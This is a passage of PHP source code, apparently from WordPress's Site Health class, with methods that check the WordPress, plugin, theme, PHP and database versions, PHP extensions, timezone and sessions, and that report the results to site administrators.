		 * @since 5.3.0
		 *
		 * @param array $test_result {
		 *     An associative array of test result data.
		 *
		 *     @type string $label       A label describing the test, and is used as a header in the output.
		 *     @type string $status      The status of the test, which can be a value of `good`, `recommended` or `critical`.
		 *     @type array  $badge {
		 *         Tests are put into categories which have an associated badge shown, these can be modified and assigned here.
		 *
		 *         @type string $label The test label, for example `Performance`.
		 *         @type string $color Default `blue`. A string representing a color to use for the label.
		 *     }
		 *     @type string $description A more descriptive explanation of what the test looks for, and why it is important for the end user.
		 *     @type string $actions     An action to direct the user to where they can resolve the issue, if one exists.
		 *     @type string $test        The name of the test being ran, used as a reference point.
		 * }
		 */
		return apply_filters( 'site_status_test_result', call_user_func( $callback ) );
	}

	/**
	 * Runs the SQL version checks.
	 *
	 * These values are used in later tests, but the part of preparing them is more easily managed
	 * early in the class for ease of access and discovery.
	 *
	 * @since 5.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function prepare_sql_data() {
		global $wpdb;

		$mysql_server_type = $wpdb->db_server_info();

		$this->mysql_server_version = $wpdb->get_var( 'SELECT VERSION()' );

		if ( stristr( $mysql_server_type, 'mariadb' ) ) {
			$this->is_mariadb                = true;
			$this->mysql_recommended_version = $this->mariadb_recommended_version;
		}

		$this->is_acceptable_mysql_version  = version_compare( $this->mysql_required_version, $this->mysql_server_version, '<=' );
		$this->is_recommended_mysql_version = version_compare( $this->mysql_recommended_version, $this->mysql_server_version, '<=' );
	}

	/**
	 * Tests whether `wp_version_check` is blocked.
	 *
	 * It's possible to block updates with the `wp_version_check` filter, but this can't be checked
	 * during an Ajax call, as the filter is never introduced then.
	 *
	 * This filter overrides a standard page request if it's made by an admin through the Ajax call
	 * with the right query argument to check for this.
	 *
	 * @since 5.2.0
	 */
	public function check_wp_version_check_exists() {
		if ( ! is_admin() || ! is_user_logged_in() || ! current_user_can( 'update_core' ) || ! isset( $_GET['health-check-test-wp_version_check'] ) ) {
			return;
		}

		echo ( has_filter( 'wp_version_check', 'wp_version_check' ) ? 'yes' : 'no' );

		die();
	}

	/**
	 * Tests for WordPress version and outputs it.
	 *
	 * Gives various results depending on what kind of updates are available, if any, to encourage
	 * the user to install security updates as a priority.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test result.
	 */
	public function get_test_wordpress_version() {
		$result = array(
			'label'       => '',
			'status'      => '',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => '',
			'actions'     => '',
			'test'        => 'wordpress_version',
		);

		$core_current_version = get_bloginfo( 'version' );
		$core_updates         = get_core_updates();

		if ( ! is_array( $core_updates ) ) {
			$result['status'] = 'recommended';

			$result['label'] = sprintf(
				/* translators: %s: Your current version of WordPress. */
				__( 'WordPress version %s' ),
				$core_current_version
			);

			$result['description'] = sprintf(
				'<p>%s</p>',
				__( 'Unable to check if any new versions of WordPress are available.' )
			);

			$result['actions'] = sprintf(
				'<a href="%s">%s</a>',
				esc_url( admin_url( 'update-core.php?force-check=1' ) ),
				__( 'Check for updates manually' )
			);
		} else {
			foreach ( $core_updates as $core => $update ) {
				if ( 'upgrade' === $update->response ) {
					$current_version = explode( '.', $core_current_version );
					$new_version     = explode( '.', $update->version );

					$current_major = $current_version[0] . '.' . $current_version[1];
					$new_major     = $new_version[0] . '.' . $new_version[1];

					$result['label'] = sprintf(
						/* translators: %s: The latest version of WordPress available. */
						__( 'WordPress update available (%s)' ),
						$update->version
					);

					$result['actions'] = sprintf(
						'<a href="%s">%s</a>',
						esc_url( admin_url( 'update-core.php' ) ),
						__( 'Install the latest version of WordPress' )
					);

					if ( $current_major !== $new_major ) {
						// This is a major version mismatch.
						$result['status']      = 'recommended';
						$result['description'] = sprintf(
							'<p>%s</p>',
							__( 'A new version of WordPress is available.' )
						);
					} else {
						// This is a minor version, sometimes considered more critical.
						$result['status']         = 'critical';
						$result['badge']['label'] = __( 'Security' );
						$result['description']    = sprintf(
							'<p>%s</p>',
							__( 'A new minor update is available for your site. Because minor updates often address security, it&#8217;s important to install them.' )
						);
					}
				} else {
					$result['status'] = 'good';
					$result['label']  = sprintf(
						/* translators: %s: The current version of WordPress installed on this site. */
						__( 'Your version of WordPress (%s) is up to date' ),
						$core_current_version
					);

					$result['description'] = sprintf(
						'<p>%s</p>',
						__( 'You are currently running the latest version of WordPress available, keep it up!' )
					);
				}
			}
		}

		return $result;
	}

	/**
	 * Tests if plugins are outdated, or unnecessary.
	 *
	 * The test checks if your plugins are up to date, and encourages you to remove any
	 * that are not in use.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test result.
	 */
	public function get_test_plugin_version() {
		$result = array(
			'label'       => __( 'Your plugins are all up to date' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Plugins extend your site&#8217;s functionality with things like contact forms, ecommerce and much more. That means they have deep access to your site, so it&#8217;s vital to keep them up to date.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'plugins.php' ) ),
				__( 'Manage your plugins' )
			),
			'test'        => 'plugin_version',
		);

		$plugins        = get_plugins();
		$plugin_updates = get_plugin_updates();

		$plugins_active      = 0;
		$plugins_total       = 0;
		$plugins_need_update = 0;

		// Loop over the available plugins and check their versions and active state.
		foreach ( $plugins as $plugin_path => $plugin ) {
			++$plugins_total;

			if ( is_plugin_active( $plugin_path ) ) {
				++$plugins_active;
			}

			if ( array_key_exists( $plugin_path, $plugin_updates ) ) {
				++$plugins_need_update;
			}
		}

		// Add a notice if there are outdated plugins.
		if ( $plugins_need_update > 0 ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'You have plugins waiting to be updated' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %d: The number of outdated plugins. */
					_n(
						'Your site has %d plugin waiting to be updated.',
						'Your site has %d plugins waiting to be updated.',
						$plugins_need_update
					),
					$plugins_need_update
				)
			);

			$result['actions'] .= sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( network_admin_url( 'plugins.php?plugin_status=upgrade' ) ),
				__( 'Update your plugins' )
			);
		} else {
			if ( 1 === $plugins_active ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site has 1 active plugin, and it is up to date.' )
				);
			} elseif ( $plugins_active > 0 ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %d: The number of active plugins. */
						_n(
							'Your site has %d active plugin, and it is up to date.',
							'Your site has %d active plugins, and they are all up to date.',
							$plugins_active
						),
						$plugins_active
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site does not have any active plugins.' )
				);
			}
		}

		// Check if there are inactive plugins.
		if ( $plugins_total > $plugins_active && ! is_multisite() ) {
			$unused_plugins = $plugins_total - $plugins_active;

			$result['status'] = 'recommended';

			$result['label'] = __( 'You should remove inactive plugins' );

			$result['description'] .= sprintf(
				'<p>%s %s</p>',
				sprintf(
					/* translators: %d: The number of inactive plugins. */
					_n(
						'Your site has %d inactive plugin.',
						'Your site has %d inactive plugins.',
						$unused_plugins
					),
					$unused_plugins
				),
				__( 'Inactive plugins are tempting targets for attackers. If you are not going to use a plugin, you should consider removing it.' )
			);

			$result['actions'] .= sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'plugins.php?plugin_status=inactive' ) ),
				__( 'Manage inactive plugins' )
			);
		}

		return $result;
	}

	/**
	 * Tests if themes are outdated, or unnecessary.
	 *
	 * Checks if your site has a default theme (to fall back on if there is a need),
	 * if your themes are up to date and, finally, encourages you to remove any themes
	 * that are not needed.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_theme_version() {
		$result = array(
			'label'       => __( 'Your themes are all up to date' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Themes add your site&#8217;s look and feel. It&#8217;s important to keep them up to date, to stay consistent with your brand and keep your site secure.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'themes.php' ) ),
				__( 'Manage your themes' )
			),
			'test'        => 'theme_version',
		);

		$theme_updates = get_theme_updates();

		$themes_total        = 0;
		$themes_need_updates = 0;
		$themes_inactive     = 0;

		// This value is changed during processing to determine how many themes are considered a reasonable amount.
		$allowed_theme_count = 1;

		$has_default_theme   = false;
		$has_unused_themes   = false;
		$show_unused_themes  = true;
		$using_default_theme = false;

		// Populate a list of all themes available in the install.
		$all_themes   = wp_get_themes();
		$active_theme = wp_get_theme();

		// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
		$default_theme = wp_get_theme( WP_DEFAULT_THEME );
		if ( ! $default_theme->exists() ) {
			$default_theme = WP_Theme::get_core_default_theme();
		}

		if ( $default_theme ) {
			$has_default_theme = true;

			if (
				$active_theme->get_stylesheet() === $default_theme->get_stylesheet()
			||
				is_child_theme() && $active_theme->get_template() === $default_theme->get_template()
			) {
				$using_default_theme = true;
			}
		}

		foreach ( $all_themes as $theme_slug => $theme ) {
			++$themes_total;

			if ( array_key_exists( $theme_slug, $theme_updates ) ) {
				++$themes_need_updates;
			}
		}

		// If this is a child theme, increase the allowed theme count by one, to account for the parent.
		if ( is_child_theme() ) {
			++$allowed_theme_count;
		}

		// If there's a default theme installed and not in use, we count that as allowed as well.
		if ( $has_default_theme && ! $using_default_theme ) {
			++$allowed_theme_count;
		}

		if ( $themes_total > $allowed_theme_count ) {
			$has_unused_themes = true;
			$themes_inactive   = ( $themes_total - $allowed_theme_count );
		}

		// Check if any themes need to be updated.
		if ( $themes_need_updates > 0 ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'You have themes waiting to be updated' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %d: The number of outdated themes. */
					_n(
						'Your site has %d theme waiting to be updated.',
						'Your site has %d themes waiting to be updated.',
						$themes_need_updates
					),
					$themes_need_updates
				)
			);
		} else {
			// Give positive feedback about the site being good about keeping things up to date.
			if ( 1 === $themes_total ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site has 1 installed theme, and it is up to date.' )
				);
			} elseif ( $themes_total > 0 ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %d: The number of themes. */
						_n(
							'Your site has %d installed theme, and it is up to date.',
							'Your site has %d installed themes, and they are all up to date.',
							$themes_total
						),
						$themes_total
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site does not have any installed themes.' )
				);
			}
		}

		if ( $has_unused_themes && $show_unused_themes && ! is_multisite() ) {

			// This is a child theme, so we want to be a bit more explicit in our messages.
			if ( $active_theme->parent() ) {
				// Recommend removing inactive themes, except a default theme, your current one, and the parent theme.
				$result['status'] = 'recommended';

				$result['label'] = __( 'You should remove inactive themes' );

				if ( $using_default_theme ) {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: %d: The number of inactive themes. */
							_n(
								'Your site has %d inactive theme.',
								'Your site has %d inactive themes.',
								$themes_inactive
							),
							$themes_inactive
						),
						sprintf(
							/* translators: 1: The currently active theme. 2: The active theme's parent theme. */
							__( 'To enhance your site&#8217;s security, you should consider removing any themes you are not using. You should keep your active theme, %1$s, and %2$s, its parent theme.' ),
							$active_theme->name,
							$active_theme->parent()->name
						)
					);
				} else {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: %d: The number of inactive themes. */
							_n(
								'Your site has %d inactive theme.',
								'Your site has %d inactive themes.',
								$themes_inactive
							),
							$themes_inactive
						),
						sprintf(
							/* translators: 1: The default theme for WordPress. 2: The currently active theme. 3: The active theme's parent theme. */
							__( 'To enhance your site&#8217;s security, you should consider removing any themes you are not using. You should keep %1$s, the default WordPress theme, %2$s, your active theme, and %3$s, its parent theme.' ),
							$default_theme ? $default_theme->name : WP_DEFAULT_THEME,
							$active_theme->name,
							$active_theme->parent()->name
						)
					);
				}
			} else {
				// Recommend removing all inactive themes.
				$result['status'] = 'recommended';

				$result['label'] = __( 'You should remove inactive themes' );

				if ( $using_default_theme ) {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: 1: The amount of inactive themes. 2: The currently active theme. */
							_n(
								'Your site has %1$d inactive theme, other than %2$s, your active theme.',
								'Your site has %1$d inactive themes, other than %2$s, your active theme.',
								$themes_inactive
							),
							$themes_inactive,
							$active_theme->name
						),
						__( 'You should consider removing any unused themes to enhance your site&#8217;s security.' )
					);
				} else {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: 1: The amount of inactive themes. 2: The default theme for WordPress. 3: The currently active theme. */
							_n(
								'Your site has %1$d inactive theme, other than %2$s, the default WordPress theme, and %3$s, your active theme.',
								'Your site has %1$d inactive themes, other than %2$s, the default WordPress theme, and %3$s, your active theme.',
								$themes_inactive
							),
							$themes_inactive,
							$default_theme ? $default_theme->name : WP_DEFAULT_THEME,
							$active_theme->name
						),
						__( 'You should consider removing any unused themes to enhance your site&#8217;s security.' )
					);
				}
			}
		}

		// If no default Twenty* theme exists.
		if ( ! $has_default_theme ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'Have a default theme available' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				__( 'Your site does not have any default theme. Default themes are used by WordPress automatically if anything is wrong with your chosen theme.' )
			);
		}

		return $result;
	}

	/**
	 * Tests if the supplied PHP version is supported.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_php_version() {
		$response = wp_check_php_version();

		$result = array(
			'label'       => sprintf(
				/* translators: %s: The current PHP version. */
				__( 'Your site is running the current version of PHP (%s)' ),
				PHP_VERSION
			),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The minimum recommended PHP version. */
					__( 'PHP is one of the programming languages used to build WordPress. Newer versions of PHP receive regular security updates and may increase your site&#8217;s performance. The minimum recommended version of PHP is %s.' ),
					$response ? $response['recommended_version'] : ''
				)
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				esc_url( wp_get_update_php_url() ),
				__( 'Learn more about updating PHP' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'php_version',
		);

		// PHP is up to date.
		if ( ! $response || version_compare( PHP_VERSION, $response['recommended_version'], '>=' ) ) {
			return $result;
		}

		// The PHP version is older than the recommended version, but still receiving active support.
		if ( $response['is_supported'] ) {
			$result['label'] = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an older version of PHP (%s)' ),
				PHP_VERSION
			);
			$result['status'] = 'recommended';

			return $result;
		}

		/*
		 * The PHP version is still receiving security fixes, but is lower than
		 * the expected minimum version that will be required by WordPress in the near future.
		 */
		if ( $response['is_secure'] && $response['is_lower_than_future_minimum'] ) {
			// The `is_secure` array key name doesn't actually imply this is a secure version of PHP. It only means it receives security updates.

			$result['label'] = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which soon will not be supported by WordPress.' ),
				PHP_VERSION
			);

			$result['status']         = 'critical';
			$result['badge']['label'] = __( 'Requirements' );

			return $result;
		}

		// The PHP version is only receiving security fixes.
		if ( $response['is_secure'] ) {
			$result['label'] = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an older version of PHP (%s), which should be updated' ),
				PHP_VERSION
			);
			$result['status'] = 'recommended';

			return $result;
		}

		// No more security updates for the PHP version, and lower than the expected minimum version required by WordPress.
		if ( $response['is_lower_than_future_minimum'] ) {
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates and soon will not be supported by WordPress.' ),
				PHP_VERSION
			);
		} else {
			// No more security updates for the PHP version, must be updated.
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates. It should be updated.' ),
				PHP_VERSION
			);
		}

		$result['label']  = $message;
		$result['status'] = 'critical';

		$result['badge']['label'] = __( 'Security' );

		return $result;
	}

	/**
	 * Checks if the passed extension or function are available.
	 *
	 * Make the check for available PHP modules into a simple boolean operator for a cleaner test runner.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 The `$constant_name` and `$class_name` parameters were added.
	 *
	 * @param string $extension_name Optional. The extension name to test. Default null.
	 * @param string $function_name  Optional. The function name to test. Default null.
	 * @param string $constant_name  Optional. The constant name to test for. Default null.
	 * @param string $class_name     Optional. The class name to test for. Default null.
	 * @return bool Whether or not the extension and function are available.
	 */
	private function test_php_extension_availability( $extension_name = null, $function_name = null, $constant_name = null, $class_name = null ) {
		// If no extension or function is passed, claim to fail testing, as we have nothing to test against.
		if ( ! $extension_name && ! $function_name && ! $constant_name && ! $class_name ) {
			return false;
		}

		if ( $extension_name && ! extension_loaded( $extension_name ) ) {
			return false;
		}

		if ( $function_name && ! function_exists( $function_name ) ) {
			return false;
		}

		if ( $constant_name && ! defined( $constant_name ) ) {
			return false;
		}

		if ( $class_name && ! class_exists( $class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Tests if required PHP modules are installed on the host.
	 *
	 * This test builds on the recommendations made by the WordPress Hosting Team
	 * as seen at https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions
	 *
	 * @since 5.2.0
	 *
	 * @return array
	 */
	public function get_test_php_extensions() {
		$result = array(
			'label'       => __( 'Required and recommended modules are installed' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p><p>%s</p>',
				__( 'PHP modules perform most of the tasks on the server that make your site run. Any changes to these must be made by your server administrator.' ),
				sprintf(
					/* translators: 1: Link to the hosting group page about recommended PHP modules. 2: Additional link attributes. 3: Accessibility text. */
					__( 'The WordPress Hosting Team maintains a list of those modules, both recommended and required, in <a href="%1$s" %2$s>the team handbook%3$s</a>.' ),
					/* translators: Localized team handbook, if one exists. */
					esc_url( __( 'https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions' ) ),
					'target="_blank" rel="noopener"',
					sprintf(
						'<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span>',
						/* translators: Hidden accessibility text. */
						__( '(opens in a new tab)' )
					)
				)
			),
			'actions'     => '',
			'test'        => 'php_extensions',
		);

		$modules = array(
			'curl'      => array(
				'function' => 'curl_version',
				'required' => false,
			),
			'dom'       => array(
				'class'    => 'DOMNode',
				'required' => false,
			),
			'exif'      => array(
				'function' => 'exif_read_data',
				'required' => false,
			),
			'fileinfo'  => array(
				'function' => 'finfo_file',
				'required' => false,
			),
			'hash'      => array(
				'function' => 'hash',
				'required' => false,
			),
			'imagick'   => array(
				'extension' => 'imagick',
				'required'  => false,
			),
			'json'      => array(
				'function' => 'json_last_error',
				'required' => true,
			),
			'mbstring'  => array(
				'function' => 'mb_check_encoding',
				'required' => false,
			),
			'mysqli'    => array(
				'function' => 'mysqli_connect',
				'required' => false,
			),
			'libsodium' => array(
				'constant'            => 'SODIUM_LIBRARY_VERSION',
				'required'            => false,
				'php_bundled_version' => '7.2.0',
			),
			'openssl'   => array(
				'function' => 'openssl_encrypt',
				'required' => false,
			),
			'pcre'      => array(
				'function' => 'preg_match',
				'required' => false,
			),
			'mod_xml'   => array(
				'extension' => 'libxml',
				'required'  => false,
			),
			'zip'       => array(
				'class'    => 'ZipArchive',
				'required' => false,
			),
			'filter'    => array(
				'function' => 'filter_list',
				'required' => false,
			),
			'gd'        => array(
				'extension'    => 'gd',
				'required'     => false,
				'fallback_for' => 'imagick',
			),
			'iconv'     => array(
				'function' => 'iconv',
				'required' => false,
			),
			'intl'      => array(
				'extension' => 'intl',
				'required'  => false,
			),
			'mcrypt'    => array(
				'extension'    => 'mcrypt',
				'required'     => false,
				'fallback_for' => 'libsodium',
			),
			'simplexml' => array(
				'extension'    => 'simplexml',
				'required'     => false,
				'fallback_for' => 'mod_xml',
			),
			'xmlreader' => array(
				'extension'    => 'xmlreader',
				'required'     => false,
				'fallback_for' => 'mod_xml',
			),
			'zlib'      => array(
				'extension'    => 'zlib',
				'required'     => false,
				'fallback_for' => 'zip',
			),
		);

		/**
		 * Filters the array representing all the modules we wish to test for.
		 *
		 * @since 5.2.0
		 * @since 5.3.0 The `$constant` and `$class` parameters were added.
		 *
		 * @param array $modules {
		 *     An associative array of modules to test for.
		 *
		 *     @type array ...$0 {
		 *         An associative array of module properties used during testing.
		 *         One of either `$function` or `$extension` must be provided, or they will fail by default.
		 *
		 *         @type string $function     Optional. A function name to test for the existence of.
		 *         @type string $extension    Optional. An extension to check if is loaded in PHP.
		 *         @type string $constant     Optional. A constant name to check for to verify an extension exists.
		 *         @type string $class        Optional. A class name to check for to verify an extension exists.
		 *         @type bool   $required     Is this a required feature or not.
		 *         @type string $fallback_for Optional. The module this module replaces as a fallback.
		 *     }
		 * }
		 */
		$modules = apply_filters( 'site_status_test_php_modules', $modules );

		$failures = array();

		foreach ( $modules as $library => $module ) {
			$extension_name = ( isset( $module['extension'] ) ? $module['extension'] : null );
			$function_name  = ( isset( $module['function'] ) ? $module['function'] : null );
			$constant_name  = ( isset( $module['constant'] ) ? $module['constant'] : null );
			$class_name     = ( isset( $module['class'] ) ? $module['class'] : null );

			// If this module is a fallback for another function, check if that other function passed.
			if ( isset( $module['fallback_for'] ) ) {
				/*
				 * If that other function has a failure, mark this module as required for usual operations.
				 * If that other function hasn't failed, skip this test as it's only a fallback.
				 */
				if ( isset( $failures[ $module['fallback_for'] ] ) ) {
					$module['required'] = true;
				} else {
					continue;
				}
			}

			if ( ! $this->test_php_extension_availability( $extension_name, $function_name, $constant_name, $class_name )
				&& ( ! isset( $module['php_bundled_version'] )
					|| version_compare( PHP_VERSION, $module['php_bundled_version'], '<' ) )
			) {
				if ( $module['required'] ) {
					$result['status'] = 'critical';

					$class = 'error';
					/* translators: Hidden accessibility text. */
					$screen_reader = __( 'Error' );
					$message       = sprintf(
						/* translators: %s: The module name. */
						__( 'The required module, %s, is not installed, or has been disabled.' ),
						$library
					);
				} else {
					$class = 'warning';
					/* translators: Hidden accessibility text. */
					$screen_reader = __( 'Warning' );
					$message       = sprintf(
						/* translators: %s: The module name. */
						__( 'The optional module, %s, is not installed, or has been disabled.' ),
						$library
					);
				}

				if ( ! $module['required'] && 'good' === $result['status'] ) {
					$result['status'] = 'recommended';
				}

				$failures[ $library ] = "<span class='dashicons $class'><span class='screen-reader-text'>$screen_reader</span></span> $message";
			}
		}

		if ( ! empty( $failures ) ) {
			$output = '<ul>';

			foreach ( $failures as $failure ) {
				$output .= sprintf(
					'<li>%s</li>',
					$failure
				);
			}

			$output .= '</ul>';
		}

		if ( 'good' !== $result['status'] ) {
			if ( 'recommended' === $result['status'] ) {
				$result['label'] = __( 'One or more recommended modules are missing' );
			}
			if ( 'critical' === $result['status'] ) {
				$result['label'] = __( 'One or more required modules are missing' );
			}

			$result['description'] .= $output;
		}

		return $result;
	}

	/**
	 * Tests if the PHP default timezone is set to UTC.
	 *
	 * @since 5.3.1
	 *
	 * @return array The test results.
	 */
	public function get_test_php_default_timezone() {
		$result = array(
			'label'       => __( 'PHP default timezone is valid' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'PHP default timezone was configured by WordPress on loading. This is necessary for correct calculations of dates and times.' )
			),
			'actions'     => '',
			'test'        => 'php_default_timezone',
		);

		if ( 'UTC' !== date_default_timezone_get() ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'PHP default timezone is invalid' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: date_default_timezone_set() */
					__( 'PHP default timezone was changed after WordPress loading by a %s function call. This interferes with correct calculations of dates and times.' ),
					'<code>date_default_timezone_set()</code>'
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if there's an active PHP session that can affect loopback requests.
	 *
	 * @since 5.5.0
	 *
	 * @return array The test results.
	 */
	public function get_test_php_sessions() {
		$result = array(
			'label'       => __( 'No PHP sessions detected' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: session_start(), 2: session_write_close() */
					__( 'PHP sessions created by a %1$s function call may interfere with REST API and loopback requests. An active session should be closed by %2$s before making any HTTP requests.' ),
					'<code>session_start()</code>',
					'<code>session_write_close()</code>'
				)
			),
			'test'        => 'php_sessions',
		);

		if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'An active PHP session was detected' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: session_start(), 2: session_write_close() */
					__( 'A PHP session was created by a %1$s function call. This interferes with REST API and loopback requests. The session should be closed by %2$s before making any HTTP requests.' ),
					'<code>session_start()</code>',
					'<code>session_write_close()</code>'
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if the SQL server is up to date.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_sql_server() {
		if ( ! $this->mysql_server_version ) {
			$this->prepare_sql_data();
		}

		$result = array(
			'label'       => __( 'SQL server is up to date' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'The SQL server is a required piece of software for the database WordPress uses to store all your site&#8217;s content and settings.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				/* translators: Localized version of WordPress requirements if one exists. */
				esc_url( __( 'https://wordpress.org/about/requirements/' ) ),
				__( 'Learn more about what WordPress requires to run.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'sql_server',
		);

		$db_dropin = file_exists( WP_CONTENT_DIR . '/db.php' );

		if ( ! $this->is_recommended_mysql_version ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'Outdated SQL server' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: The database engine in use (MySQL or MariaDB). 2: Database server recommended version number. */
					__( 'For optimal performance and security reasons, you should consider running %1$s version %2$s or higher. Contact your web hosting company to correct this.' ),
					( $this->is_mariadb ? 'MariaDB' : 'MySQL' ),
					$this->mysql_recommended_version
				)
			);
		}

		if ( ! $this->is_acceptable_mysql_version ) {
			$result['status'] = 'critical';

			$result['label']          = __( 'Severely outdated SQL server' );
			$result['badge']['label'] = __( 'Security' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: The database engine in use (MySQL or MariaDB). 2: Database server minimum version number. */
					__( 'WordPress requires %1$s version %2$s or higher. Contact your web hosting company to correct this.' ),
					( $this->is_mariadb ? 'MariaDB' : 'MySQL' ),
					$this->mysql_required_version
				)
			);
		}

		if ( $db_dropin ) {
			$result['description'] .= sprintf(
				'<p>%s</p>',
				wp_kses(
					sprintf(
						/* translators: 1: The name of the drop-in. 2: The name of the database engine. */
						__( 'You are using a %1$s drop-in which might mean that a %2$s database is not being used.' ),
						'<code>wp-content/db.php</code>',
						( $this->is_mariadb ? 'MariaDB' : 'MySQL' )
					),
					array(
						'code' => true,
					)
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if the database server is capable of using utf8mb4.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_utf8mb4_support() {
		if ( ! $this->mysql_server_version ) {
			$this->prepare_sql_data();
		}

		$result = array(
			'label'       => __( 'UTF8MB4 is supported' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'UTF8MB4 is the character set WordPress prefers for database storage because it safely supports the widest set of characters and encodings, including Emoji, enabling better support for non-English languages.' )
			),
			'actions'     => '',
			'test'        => 'utf8mb4_support',
		);

		if ( ! $this->is_mariadb ) {
			if ( version_compare( $this->mysql_server_version, '5.5.3', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a MySQL update' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: Version number. */
						__( 'WordPress&#8217; utf8mb4 support requires MySQL version %s or greater. Please contact your server administrator.' ),
						'5.5.3'
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your MySQL version supports utf8mb4.' )
				);
			}
		} else { // MariaDB introduced utf8mb4 support in 5.5.0.
			if ( version_compare( $this->mysql_server_version, '5.5.0', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a MariaDB update' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: Version number. */
						__( 'WordPress&#8217; utf8mb4 support requires MariaDB version %s or greater. Please contact your server administrator.' ),
						'5.5.0'
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your MariaDB version supports utf8mb4.' )
				);
			}
		}

